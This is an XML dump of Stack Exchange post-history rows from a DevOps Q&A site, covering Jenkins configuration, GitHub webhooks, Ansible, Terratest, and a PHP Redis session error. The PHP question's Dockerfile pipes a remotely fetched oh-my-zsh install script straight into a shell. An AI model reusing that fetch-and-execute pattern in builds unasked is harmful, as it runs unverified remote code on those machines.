  <row Id="12657" PostHistoryTypeId="2" PostId="4042" RevisionGUID="9b984709-8892-455b-860f-fc462b640e50" CreationDate="2018-05-02T07:25:17.557" UserId="2479" Text="Jenkins itself can be configured in a many ways. Same applies for Jenkins jobs.&#xD;&#xA;&#xD;&#xA;Probably the most easy way is to configure Jenkins manually and replicate its setup by backing up and restoring. Unfortunately, this means dealing with copying XMLs.&#xD;&#xA;&#xD;&#xA;But fortunately there are other ways.&#xD;&#xA;&#xD;&#xA;# `init.groovy.d` directory&#xD;&#xA;&#xD;&#xA;When Jenkins starts, it checks `init.groovy.d` directory and executes Groovy scripts there. To enforce locale I'm using snippet&#xD;&#xA;&#xD;&#xA;    // copied from /var/lib/jenkins/init.groovy.d/set-locale.groovy&#xD;&#xA;    def pluginWrapper = jenkins.model.Jenkins.instance.getPluginManager().getPlugin('locale')&#xD;&#xA;    def plugin = pluginWrapper.getPlugin()&#xD;&#xA;&#xD;&#xA;    plugin.setSystemLocale('en_US')&#xD;&#xA;&#xD;&#xA;Another example of setting up Jenkins by groovy scripts is located on https://gist.github.com/hayderimran7/50cb1244cc1e856873a4 - I'm using that snippet to setup local Jenkins users on test machines.&#xD;&#xA;&#xD;&#xA;# Generating jobs&#xD;&#xA;&#xD;&#xA;## Jenkins Job builder&#xD;&#xA;One approach of of generating Jobs is [Jenkins Job Builder][jjb], which creates XML definitions jobs from YAML configs. I don't like this approach personally as I consider it to be a bit hackish - looks like &quot;generation XMLs without knowing what it means&quot;. But some big players are using this approach - JJB originates fron Openstack.&#xD;&#xA;&#xD;&#xA;## Job DSL plugin&#xD;&#xA;&#xD;&#xA;Another approach is [Job DSL plugin][jdsl] ([plugin page][jdsl2]). There is special job type called *seed job* which creates other jobs from Groovy DSL. The seed job can pull the others job description in from git, so you can easily version them, reuse them, etc.&#xD;&#xA;&#xD;&#xA;I'm using personally this approach, as it was available when I started with Jenkins.  I've even found some Jenkins tool to create DSL sources from existing jobs, but I'm not able to find it again. Unfortunately, the&#xD;&#xA;&#xD;&#xA;To provide seed job, you can still use `init.groovy.d` approach.&#xD;&#xA;&#xD;&#xA;## Pipelines&#xD;&#xA;&#xD;&#xA;Currently recommended approach is probably related to [Jenkins Pipelines][pipelines], you can store your building pipelines in source VCS repository next to your code.&#xD;&#xA;&#xD;&#xA;I haven't explored this very much, but I'm planning to do. &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;[jjb]: https://docs.openstack.org/infra/jenkins-job-builder/&#xD;&#xA;[jdsl]: https://github.com/jenkinsci/job-dsl-plugin&#xD;&#xA;[jdsl2]: https://plugins.jenkins.io/job-dsl&#xD;&#xA;[pipelines]: https://jenkins.io/doc/book/pipeline/" ContentLicense="CC BY-SA 4.0" />
  <row Id="12658" PostHistoryTypeId="5" PostId="4042" RevisionGUID="c6ad4eef-9d9a-48f2-bde9-2dc3c13e9ed3" CreationDate="2018-05-02T11:47:33.037" UserId="2479" Comment="dropped forgot sentence" Text="Jenkins itself can be configured in a many ways. Same applies for Jenkins jobs.&#xD;&#xA;&#xD;&#xA;Probably the most easy way is to configure Jenkins manually and replicate its setup by backing up and restoring. Unfortunately, this means dealing with copying XMLs.&#xD;&#xA;&#xD;&#xA;But fortunately there are other ways.&#xD;&#xA;&#xD;&#xA;# `init.groovy.d` directory&#xD;&#xA;&#xD;&#xA;When Jenkins starts, it checks `init.groovy.d` directory and executes Groovy scripts there. To enforce locale I'm using snippet&#xD;&#xA;&#xD;&#xA;    // copied from /var/lib/jenkins/init.groovy.d/set-locale.groovy&#xD;&#xA;    def pluginWrapper = jenkins.model.Jenkins.instance.getPluginManager().getPlugin('locale')&#xD;&#xA;    def plugin = pluginWrapper.getPlugin()&#xD;&#xA;&#xD;&#xA;    plugin.setSystemLocale('en_US')&#xD;&#xA;&#xD;&#xA;Another example of setting up Jenkins by groovy scripts is located on https://gist.github.com/hayderimran7/50cb1244cc1e856873a4 - I'm using that snippet to setup local Jenkins users on test machines.&#xD;&#xA;&#xD;&#xA;# Generating jobs&#xD;&#xA;&#xD;&#xA;## Jenkins Job builder&#xD;&#xA;One approach of of generating Jobs is [Jenkins Job Builder][jjb], which creates XML definitions jobs from YAML configs. I don't like this approach personally as I consider it to be a bit hackish - looks like &quot;generation XMLs without knowing what it means&quot;. But some big players are using this approach - JJB originates fron Openstack.&#xD;&#xA;&#xD;&#xA;## Job DSL plugin&#xD;&#xA;&#xD;&#xA;Another approach is [Job DSL plugin][jdsl] ([plugin page][jdsl2]). There is special job type called *seed job* which creates other jobs from Groovy DSL. The seed job can pull the others job description in from git, so you can easily version them, reuse them, etc.&#xD;&#xA;&#xD;&#xA;I'm using personally this approach, as it was available when I started with Jenkins.  I've even found some Jenkins tool to create DSL sources from existing jobs, but I'm not able to find it again. &#xD;&#xA;&#xD;&#xA;To provide seed job, you can still use `init.groovy.d` approach.&#xD;&#xA;&#xD;&#xA;## Pipelines&#xD;&#xA;&#xD;&#xA;Currently recommended approach is probably related to [Jenkins Pipelines][pipelines], you can store your building pipelines in source VCS repository next to your code.&#xD;&#xA;&#xD;&#xA;I haven't explored this very much, but I'm planning to do. &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;[jjb]: https://docs.openstack.org/infra/jenkins-job-builder/&#xD;&#xA;[jdsl]: https://github.com/jenkinsci/job-dsl-plugin&#xD;&#xA;[jdsl2]: https://plugins.jenkins.io/job-dsl&#xD;&#xA;[pipelines]: https://jenkins.io/doc/book/pipeline/" ContentLicense="CC BY-SA 4.0" />
  <row Id="12661" PostHistoryTypeId="50" PostId="3767" RevisionGUID="7eab55b2-a9fd-438d-9ee2-a9f39812c000" CreationDate="2018-05-02T14:29:31.343" UserId="-1" />
  <row Id="12668" PostHistoryTypeId="50" PostId="1917" RevisionGUID="7e965112-29d1-4d95-99d6-585b4dda9839" CreationDate="2018-05-02T18:32:04.977" UserId="-1" />
  <row Id="12669" PostHistoryTypeId="50" PostId="1877" RevisionGUID="45d05ab9-b4ea-48e3-bc18-88e87a1a6f65" CreationDate="2018-05-02T19:32:32.087" UserId="-1" />
  <row Id="12670" PostHistoryTypeId="2" PostId="4044" RevisionGUID="58537bb0-405d-40fd-b793-eceab3515137" CreationDate="2018-05-02T20:15:37.227" UserId="7669" Text="I'm setting up a CI scheme for a few projects, on Jenkins, using the multibranch plugin.&#xD;&#xA;Everything is working pretty nicely, but the obsessive in me always wants a bit more.&#xD;&#xA;&#xD;&#xA;Current situation:  &#xD;&#xA;The multibranch thingy is working: picks up and builds new branches and PRs. It does so by polling: Every N minutes it polls Github for new branches and branch updates.&#xD;&#xA;&#xD;&#xA;I want:  &#xD;&#xA;I would very much like to build new pushes on Github Webhook push events and avoid polling. When not dealing with multibranch, it was as simple as checking the `GitHub hook trigger for GITScm polling` box.&#xD;&#xA;In this context, I would have to add a new trigger to the Jenkinsfile. I assume something like:&#xD;&#xA;&#xD;&#xA;    triggers {&#xD;&#xA;        githubWebhook()&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Currently, my Jenkinsfile is something like this:&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent {&#xD;&#xA;            docker {&#xD;&#xA;                image '${REDACTED}/builder:sbt-0.13-jdk-oracle-8'&#xD;&#xA;                args '-v sbt-cache:/root/.sbt/ -v ivy-cache:/root/.ivy2/'&#xD;&#xA;                customWorkspace '/src/'&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        options {&#xD;&#xA;            buildDiscarder(logRotator(numToKeepStr: '10'))&#xD;&#xA;            timestamps()&#xD;&#xA;            timeout(time: 1, unit: 'HOURS')&#xD;&#xA;        }&#xD;&#xA;        stages {&#xD;&#xA;            stage('Testing') {&#xD;&#xA;                steps {&#xD;&#xA;                    sh &quot;sbt clean coverage test coverageReport coverageAggregate sonar&quot;&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;    &#xD;&#xA;            stage('Push snapshot'){&#xD;&#xA;                when {&#xD;&#xA;                    not {&#xD;&#xA;                        branch 'master'&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;                steps {&#xD;&#xA;                    echo &quot;[DRYRUN] sbt publishSnapshot&quot;&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;    &#xD;&#xA;            stage('Push release') {&#xD;&#xA;                when {&#xD;&#xA;                    branch 'master'&#xD;&#xA;                }&#xD;&#xA;                steps {&#xD;&#xA;                    echo &quot;[DRYRUN] sbt publish&quot;&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        post {&#xD;&#xA;            changed {&#xD;&#xA;                echo &quot;[DRYRUN] changed build&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Has anyone dealt with something like this? Any other approach?" ContentLicense="CC BY-SA 4.0" />
  <row Id="12671" PostHistoryTypeId="1" PostId="4044" RevisionGUID="58537bb0-405d-40fd-b793-eceab3515137" CreationDate="2018-05-02T20:15:37.227" UserId="7669" Text="Enabling Github webhooks for multibranch jobs?" ContentLicense="CC BY-SA 4.0" />
  <row Id="12672" PostHistoryTypeId="3" PostId="4044" RevisionGUID="58537bb0-405d-40fd-b793-eceab3515137" CreationDate="2018-05-02T20:15:37.227" UserId="7669" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;github&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12673" PostHistoryTypeId="2" PostId="4045" RevisionGUID="1a57ae0e-3a1f-42cf-81ec-c281ea19774c" CreationDate="2018-05-02T21:03:16.363" UserId="210" Text="I am currently looking into http://www.chartjs.org/. It looks like that this is able to create graphs. I will add more to this answer if I have created a graph using this library." ContentLicense="CC BY-SA 4.0" />
  <row Id="12675" PostHistoryTypeId="2" PostId="4046" RevisionGUID="eba4623a-409d-4e26-a8d8-1a0fd30929bc" CreationDate="2018-05-03T02:57:14.020" UserId="7044" Text="If I understand your question correctly you want to pass in a domain to find what could be a physical location or data center. I hope this is helps you!&#xD;&#xA;&#xD;&#xA;**roles/test/vars/main.yml**&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    domains:&#xD;&#xA;      gh4: [127.0.0.1,127.0.0.2,127.0.0.3,127.0.0.4,127.0.0.5]&#xD;&#xA;      gh5: [127.0.0.7,127.0.0.8]&#xD;&#xA;      gh6: [127.0.0.10,127.0.0.11,127.0.0.12]&#xD;&#xA;&#xD;&#xA;**roles/test/tasks/main.yml**&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    # Make sure we have a domain passed in&#xD;&#xA;    - name: Ensure domain is defined&#xD;&#xA;      assert: { that: domain is defined }&#xD;&#xA;    &#xD;&#xA;    # Obtain the IP&#xD;&#xA;    - name: Simple A record (IPV4 address) lookup for {{domain}}&#xD;&#xA;      set_fact:&#xD;&#xA;          IP: &quot;{{ lookup('dig', '+short', '{{domain}}')}}&quot;&#xD;&#xA;      register: output&#xD;&#xA;      tags: test&#xD;&#xA;    &#xD;&#xA;    # Check if the IP belongs to any location&#xD;&#xA;    - name: Checking location of IP&#xD;&#xA;      set_fact:&#xD;&#xA;        domain_location: &quot;{{item}}&quot;&#xD;&#xA;      when:&#xD;&#xA;         - IP in domains[item]&#xD;&#xA;      with_items: &quot;{{domains}}&quot;&#xD;&#xA;    &#xD;&#xA;    - debug:&#xD;&#xA;        msg: &quot;domain.com is in gh4.allserevers.com{{domain_location}}&quot;&#xD;&#xA;      when: domain_location is defined&#xD;&#xA;&#xD;&#xA;**Example Run**&#xD;&#xA;With domain.com pointing to 127.0.0.12&#xD;&#xA;&#xD;&#xA;    root@DESKTOP-U4VN2CS:/mnt/c/ansible/roles# ansible-playbook ../playbooks/test.yml  -e domain=domain.com&#xD;&#xA;    PLAY [127.0.0.1] ****************************************************************************************************&#xD;&#xA;    &#xD;&#xA;    TASK [Gathering Facts] **********************************************************************************************&#xD;&#xA;    ok: [localhost]&#xD;&#xA;    &#xD;&#xA;    TASK [test : Ensure domain is defined] ******************************************************************************&#xD;&#xA;    ok: [localhost] =&gt; {&#xD;&#xA;        &quot;changed&quot;: false,&#xD;&#xA;        &quot;msg&quot;: &quot;All assertions passed&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    TASK [test : Simple A record (IPV4 address) lookup for domain.com] **************************************************&#xD;&#xA;    ok: [localhost]&#xD;&#xA;    &#xD;&#xA;    TASK [test : Checking location of IP] *******************************************************************************&#xD;&#xA;    skipping: [localhost] =&gt; (item=gh4)&#xD;&#xA;    skipping: [localhost] =&gt; (item=gh5)&#xD;&#xA;    ok: [localhost] =&gt; (item=gh6)&#xD;&#xA;    &#xD;&#xA;    TASK [test : debug] *************************************************************************************************&#xD;&#xA;    ok: [localhost] =&gt; {&#xD;&#xA;        &quot;msg&quot;: &quot;domain.com is in gh6.allserevers.com&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    PLAY RECAP **********************************************************************************************************&#xD;&#xA;    localhost                  : ok=5    changed=0    unreachable=0    failed=0&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12677" PostHistoryTypeId="2" PostId="4047" RevisionGUID="707c292b-2674-4d08-b053-f75c2828b308" CreationDate="2018-05-03T08:55:10.860" UserId="6888" Text="You can use snippet like&#xD;&#xA;&#xD;&#xA;    post {&#xD;&#xA;        changed {&#xD;&#xA;            emailext body: '$DEFAULT_CONTENT', recipientProviders: [brokenTestsSuspects(), brokenBuildSuspects(), developers()], subject: '$DEFAULT_SUBJECT'&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;in declarative pipelines.&#xD;&#xA;&#xD;&#xA;[Changed][1] post-condition is called when the build result is changed (i.e. of first failure and back to success). There are post-conditions like &quot;regression&quot; if you want more control.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/doc/book/pipeline/syntax/#post &quot;Changed&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12678" PostHistoryTypeId="2" PostId="4048" RevisionGUID="13c7ac1f-b1a0-4c85-8a8c-86713086a61c" CreationDate="2018-05-03T11:31:54.773" UserId="30" Text="We recently open sourced [Terratest](https://blog.gruntwork.io/open-sourcing-terratest-a-swiss-army-knife-for-testing-infrastructure-code-5d883336fcd5), our swiss army knife for testing infrastructure code. &#xD;&#xA;&#xD;&#xA;Today, you're probably testing all your infrastructure code manually by deploying, validating, and undeploying. Terratest helps you automate this process:&#xD;&#xA;&#xD;&#xA;1. Write tests in Go.&#xD;&#xA;1. Use helpers in Terratest to execute your real IaC tools (e.g., Terraform, Packer, etc.) to deploy real infrastructure (e.g., servers) in a real environment (e.g., AWS).&#xD;&#xA;1. Use helpers in Terratest to validate that the infrastructure works correctly in that environment by making HTTP requests, API calls, SSH connections, etc.&#xD;&#xA;1. Use helpers in Terratest to undeploy everything at the end of the test.&#xD;&#xA;&#xD;&#xA;Here's an example test for some Terraform code:&#xD;&#xA;&#xD;&#xA;    terraformOptions := &amp;terraform.Options {&#xD;&#xA;      // The path to where your Terraform code is located&#xD;&#xA;      TerraformDir: &quot;../examples/terraform-basic-example&quot;,&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    // This will run `terraform init` and `terraform apply` and fail the test if there are any errors&#xD;&#xA;    terraform.InitAndApply(t, terraformOptions)&#xD;&#xA;&#xD;&#xA;    // At the end of the test, run `terraform destroy` to clean up any resources that were created&#xD;&#xA;    defer terraform.Destroy(t, terraformOptions)&#xD;&#xA;&#xD;&#xA;    // Run `terraform output` to get the value of an output variable&#xD;&#xA;    instanceUrl := terraform.Output(t, terraformOptions, &quot;instance_url&quot;)&#xD;&#xA;&#xD;&#xA;    // Verify that we get back a 200 OK with the expected text&#xD;&#xA;    // It can take a minute or so for the Instance to boot up, so retry a few times&#xD;&#xA;    expected := &quot;Hello, World&quot;&#xD;&#xA;    maxRetries := 15&#xD;&#xA;    timeBetweenRetries := 5 * time.Second&#xD;&#xA;    http_helper.HttpGetWithRetry(t, instanceUrl, 200, expected, maxRetries, timeBetweenRetries)&#xD;&#xA;&#xD;&#xA;These are integration tests, and depending on what you're testing, can take 5 - 50 minutes. It's not fast (though using [Docker](https://github.com/gruntwork-io/terratest#iterating-locally-using-docker) and [test stages](https://github.com/gruntwork-io/terratest#iterating-locally-using-test-stages), you can speed *some* things up), and you'll have to work to make the tests reliable, but it is well worth the time.&#xD;&#xA;&#xD;&#xA;Check out the [Terratest repo](https://github.com/gruntwork-io/terratest#iterating-locally-using-test-stages) for docs and lots of examples of various types of infrastructure code and the corresponding tests for them." ContentLicense="CC BY-SA 4.0" />
  <row Id="12679" PostHistoryTypeId="50" PostId="1088" RevisionGUID="81699ea2-5df4-45b7-8b2c-47296849e582" CreationDate="2018-05-03T15:33:57.203" UserId="-1" />
  <row Id="12680" PostHistoryTypeId="2" PostId="4049" RevisionGUID="809579fc-6cc4-49fb-a604-561d1b7768ec" CreationDate="2018-05-03T17:02:15.760" UserId="4115" Text="According to the [official GitHub Branch Source Plugin documentation](https://go.cloudbees.com/docs/cloudbees-documentation/cje-user-guide/index.html#github-branch-source), the plugin can automatically configure webhooks for you if you have your GitHub API token configured in Jenkins global settings:&#xD;&#xA;&#xD;&#xA;&gt; You can change the build configuration to perform the folder&#xD;&#xA;&gt; computation at different times. The default setting will scan your&#xD;&#xA;&gt; GitHub repository for changes if it has not received any change&#xD;&#xA;&gt; notifications from GitHub within the past day. This scan will catch&#xD;&#xA;&gt; the repositories you’ve added or removed from the managed GitHub&#xD;&#xA;&gt; repository. You can always force the Folder Computation to run from&#xD;&#xA;&gt; the GitHub Organization page.&#xD;&#xA;&gt; &#xD;&#xA;&gt; While the build triggers are often enough, you can set up webhooks to&#xD;&#xA;&gt; automatically trigger builds when changes are pushed to your GitHub&#xD;&#xA;&gt; repositories. To do this you must have a GitHub login with a token.&#xD;&#xA;&gt; &#xD;&#xA;&gt; 1. Go to the main configuration settings page, Manage Jenkins &gt; Configure System&#xD;&#xA;&gt; &#xD;&#xA;&gt; 2. In the GitHub Plugin Configuration section, add a server with your credentials&#xD;&#xA;&gt; &#xD;&#xA;&gt; 3. If you need a token, generate one with the Additional Actions &gt; Convert login to password and token&#xD;&#xA;&gt; &#xD;&#xA;&gt; You can also configure this manually through GitHub itself by&#xD;&#xA;&gt; registering the URL provided in the help section of the server config.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12681" PostHistoryTypeId="2" PostId="4050" RevisionGUID="4538fb3b-08dc-49da-89a7-ac74187ecdd5" CreationDate="2018-05-04T05:33:24.280" UserId="786" Text="DevOps fundamentally is an arbitrage play: it exploits the idea that if the things you are developing and operating are fundamentally stateless and ephemeral you can move very quickly. And this is true, you can.&#xD;&#xA;&#xD;&#xA;But &quot;traditional&quot; IT is _all about_ managing statefulness. A database server, a file server. A database server for example: once you have made changes to a schema and data has gone in, you can no longer &quot;roll back&quot; because you probably have nowhere you can put that data that satisfies the constraints of all the stakeholders. If the database server goes down you can't just spin up a new one, it has to be _exactly the same_ to the greatest extent possible, and you need to have a plan for resolving the deltas. [DevOps doesn't really address][1] this and even worse, the typical DevOps pitch includes some jabs at &quot;traditional&quot; IT for being slow and obsolete, without any acknowledgement that maybe there were reasons for things to be done the &quot;old fashioned&quot; way other than the practitioners being dinosaurs.&#xD;&#xA;&#xD;&#xA;What that sounds like to a stakeholder is that DevOps people are willing to take risks with the company's most precious assets - customer records, accounts, inventory control, all the other things that typically reside in the stateful parts of the technology infrastructure. Therefore to work with and bring on board skeptics the very first thing you must do is convince them that you have mitigated all the risks of operating the stateful parts of the infrastructure in a DevOps fashion. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.theregister.co.uk/2018/04/24/devops_dba_work/" ContentLicense="CC BY-SA 4.0" />
  <row Id="12682" PostHistoryTypeId="5" PostId="4050" RevisionGUID="de37f1d6-571a-4ab8-9c9c-63c93342e924" CreationDate="2018-05-04T05:43:47.523" UserId="786" Comment="added 78 characters in body" Text="DevOps fundamentally is an arbitrage play: it exploits the idea that if the things you are developing and operating are fundamentally stateless and ephemeral you can move very quickly, because there are a bunch of things you just don't need to do. And this is true, you can, and you don't.&#xD;&#xA;&#xD;&#xA;But &quot;traditional&quot; IT is _all about_ managing statefulness. A database server, a file server. A database server for example: once you have made changes to a schema and data has gone in, you can no longer &quot;roll back&quot; because you probably have nowhere you can put that data that satisfies the constraints of all the stakeholders. If the database server goes down you can't just spin up a new one, it has to be _exactly the same_ to the greatest extent possible, and you need to have a plan for resolving the deltas. [DevOps doesn't really address][1] this and even worse, the typical DevOps pitch includes some jabs at &quot;traditional&quot; IT for being slow and obsolete, without any acknowledgement that maybe there were reasons for things to be done the &quot;old fashioned&quot; way other than the practitioners being dinosaurs.&#xD;&#xA;&#xD;&#xA;What that sounds like to a stakeholder is that DevOps people are willing to take risks with the company's most precious assets - customer records, accounts, inventory control, all the other things that typically reside in the stateful parts of the technology infrastructure. Therefore to work with and bring on board skeptics the very first thing you must do is convince them that you have mitigated all the risks of operating the stateful parts of the infrastructure in a DevOps fashion. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.theregister.co.uk/2018/04/24/devops_dba_work/" ContentLicense="CC BY-SA 4.0" />
  <row Id="12683" PostHistoryTypeId="2" PostId="4051" RevisionGUID="e21f2270-163d-44cb-af24-3630c8015d65" CreationDate="2018-05-04T05:58:06.843" UserId="707" Text="From certain size of the codebase, would you still have Git or are there more specialized solutions? &#xD;&#xA;&#xD;&#xA;(Also to checkout just a part of the codebase)&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12684" PostHistoryTypeId="1" PostId="4051" RevisionGUID="e21f2270-163d-44cb-af24-3630c8015d65" CreationDate="2018-05-04T05:58:06.843" UserId="707" Text="What do you need for a monorepo for a large codebase?" ContentLicense="CC BY-SA 4.0" />
  <row Id="12685" PostHistoryTypeId="3" PostId="4051" RevisionGUID="e21f2270-163d-44cb-af24-3630c8015d65" CreationDate="2018-05-04T05:58:06.843" UserId="707" Text="&lt;monorepo&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12686" PostHistoryTypeId="5" PostId="4050" RevisionGUID="be526e35-493b-4d08-bfa5-34df771c0726" CreationDate="2018-05-04T06:06:24.253" UserId="786" Comment="added 91 characters in body" Text="DevOps fundamentally is an arbitrage play: it exploits the idea that if the things you are developing and operating are fundamentally stateless and immutable and ephemeral you can move very quickly, because there are a bunch of things you just don't need to do. And this is true, you can, and you don't.&#xD;&#xA;&#xD;&#xA;But &quot;traditional&quot; IT is _all about_ managing statefulness and controlling the transitions between states (or &quot;mutation&quot; if you prefer). A database server, a file server. A database server for example: once you have made changes to a schema and data has gone in, you can no longer &quot;roll back&quot; because you probably have nowhere you can put that data that satisfies the constraints of all the stakeholders. If the database server goes down you can't just spin up a new one, it has to be _exactly the same_ to the greatest extent possible, and you need to have a plan for resolving the deltas. [DevOps doesn't really address][1] this and even worse, the typical DevOps pitch includes some jabs at &quot;traditional&quot; IT for being slow and obsolete, without any acknowledgement that maybe there were reasons for things to be done the &quot;old fashioned&quot; way other than the practitioners being dinosaurs.&#xD;&#xA;&#xD;&#xA;What that sounds like to a stakeholder is that DevOps people are willing to take risks with the company's most precious assets - customer records, accounts, inventory control, all the other things that typically reside in the stateful parts of the technology infrastructure. Therefore to work with and bring on board skeptics the very first thing you must do is convince them that you have mitigated all the risks of operating the stateful parts of the infrastructure in a DevOps fashion. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.theregister.co.uk/2018/04/24/devops_dba_work/" ContentLicense="CC BY-SA 4.0" />
  <row Id="12687" PostHistoryTypeId="2" PostId="4052" RevisionGUID="8024a878-51b1-43ea-88ca-b685bfd9bd68" CreationDate="2018-05-04T07:22:27.140" UserId="7683" Text="I am getting this error while loading index.php file.&#xD;&#xA;&#xD;&#xA;&gt; Warning: session_start(): Cannot find save handler 'redis' - session&#xD;&#xA;&gt; startup failed in /var/www/html/index.php on line 2&#xD;&#xA;&#xD;&#xA;My index.php code looks like below:&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    session_start();&#xD;&#xA;    $_SESSION['count']=(isset($_SESSION['count']))?$_SESSION['count']+1:1;&#xD;&#xA;    $json['time ']= date(' Y-m-d H:i:s');&#xD;&#xA;    $json['ip ']=$_SERVER['REMOTE_ADDR'];&#xD;&#xA;    $json['count '] = $_SESSION['count'];&#xD;&#xA;    echo json_encode($json);&#xD;&#xA;    &#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;My dockerfile is like below:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    FROM php:7.1-fpm-alpine&#xD;&#xA;    &#xD;&#xA;    RUN apk update; \&#xD;&#xA;        apk upgrade;&#xD;&#xA;    &#xD;&#xA;    RUN apk add --update \&#xD;&#xA;    		autoconf \&#xD;&#xA;    		g++ \&#xD;&#xA;    		libtool \&#xD;&#xA;                    make&#xD;&#xA;    &#xD;&#xA;    RUN pecl install -o -f redis \&#xD;&#xA;    &amp;&amp;  rm -rf /tmp/pear \&#xD;&#xA;    &amp;&amp;  docker-php-ext-enable redis&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # For easy navigating add oh my zsh and it's deps&#xD;&#xA;    RUN apk -q add curl \&#xD;&#xA;        zsh \&#xD;&#xA;        nano \&#xD;&#xA;        git; \&#xD;&#xA;        sh -c &quot;$(curl -fsSL https://raw.githubusercontent.com/robbyrussell/oh-my-zsh/master/tools/install.sh)&quot;; \&#xD;&#xA;        sed -i s^ZSH_THEME=\&quot;robbyrussell\&quot;^ZSH_THEME=\&quot;blinks\&quot;^g ~/.zshrc;&#xD;&#xA;    &#xD;&#xA;    # Install Composer&#xD;&#xA;    RUN php -r &quot;copy('https://getcomposer.org/installer', 'composer-setup.php');&quot;; \&#xD;&#xA;        php -r &quot;if (hash_file('SHA384', 'composer-setup.php') === '544e09ee996cdf60ece3804abc52599c22b1f40f4323403c44d44fdfdd586475ca9813a858088ffbc1f233e9b180f061') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;&quot;; \&#xD;&#xA;        php composer-setup.php; \&#xD;&#xA;        php -r &quot;unlink('composer-setup.php');&quot;; \&#xD;&#xA;        echo 'alias composer=&quot;php /var/www/html/composer.phar&quot; &gt; ~/.zshrc';&#xD;&#xA;&#xD;&#xA;My php.ini file is like below:&#xD;&#xA;&#xD;&#xA;    session.save_handler = redis&#xD;&#xA;    session.save_path = tcp://192.168.0.24:6379&#xD;&#xA;&#xD;&#xA;Redis.conf file has a below entry:&#xD;&#xA;&#xD;&#xA;    bind 127.0.0.1 192.168.0.24&#xD;&#xA;&#xD;&#xA;My redis dockerfile is like below:&#xD;&#xA;&#xD;&#xA;    FROM redis:3.2-alpine&#xD;&#xA;    &#xD;&#xA;    COPY conf/redis.conf /usr/local/etc/redis/redis.conf&#xD;&#xA;    CMD [ &quot;redis-server&quot;, &quot;/usr/local/etc/redis/redis.conf&quot; ]&#xD;&#xA;    &#xD;&#xA;    EXPOSE 6379&#xD;&#xA;&#xD;&#xA;If I need to provide more details please let me know.&#xD;&#xA;&#xD;&#xA;What could be the problem here?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12688" PostHistoryTypeId="1" PostId="4052" RevisionGUID="8024a878-51b1-43ea-88ca-b685bfd9bd68" CreationDate="2018-05-04T07:22:27.140" UserId="7683" Text="Cannot find save handler 'redis' - session startup failed - for PHP" ContentLicense="CC BY-SA 4.0" />
  <row Id="12689" PostHistoryTypeId="3" PostId="4052" RevisionGUID="8024a878-51b1-43ea-88ca-b685bfd9bd68" CreationDate="2018-05-04T07:22:27.140" UserId="7683" Text="&lt;docker&gt;&lt;php&gt;&lt;redis&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="12690" PostHistoryTypeId="5" PostId="4050" RevisionGUID="49c35168-9d40-4c97-acb7-0606df0f7bb4" CreationDate="2018-05-04T07:32:43.113" UserId="786" Comment="wording" Text="DevOps fundamentally is an arbitrage play: it exploits the idea that if the things you are developing and operating are known to be stateless and immutable and ephemeral you can move very quickly, because there are a bunch of things you just don't need to do. And this is true, you can, and you don't.&#xD;&#xA;&#xD;&#xA;But &quot;traditional&quot; IT is _all about_ managing statefulness and controlling the transitions between states (or &quot;mutation&quot; if you prefer). A database server, a file server. A database server for example: once you have made changes to a schema and data has gone in, you can no longer &quot;roll back&quot; because you probably have nowhere you can put that data that satisfies the constraints of all the stakeholders. If the database server goes down you can't just spin up a new one, it has to be _exactly the same_ to the greatest extent possible, and you need to have a plan for resolving the deltas. [DevOps doesn't really address][1] this and even worse, the typical DevOps pitch includes some jabs at &quot;traditional&quot; IT for being slow and obsolete, without any acknowledgement that maybe there were reasons for things to be done the &quot;old fashioned&quot; way other than the practitioners being dinosaurs.&#xD;&#xA;&#xD;&#xA;What that sounds like to a stakeholder is that DevOps people are willing to take risks with the company's most precious assets - customer records, accounts, inventory control, all the other things that typically reside in the stateful parts of the technology infrastructure. Therefore to work with and bring on board skeptics the very first thing you must do is convince them that you have mitigated all the risks of operating the stateful parts of the infrastructure in a DevOps fashion. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.theregister.co.uk/2018/04/24/devops_dba_work/" ContentLicense="CC BY-SA 4.0" />
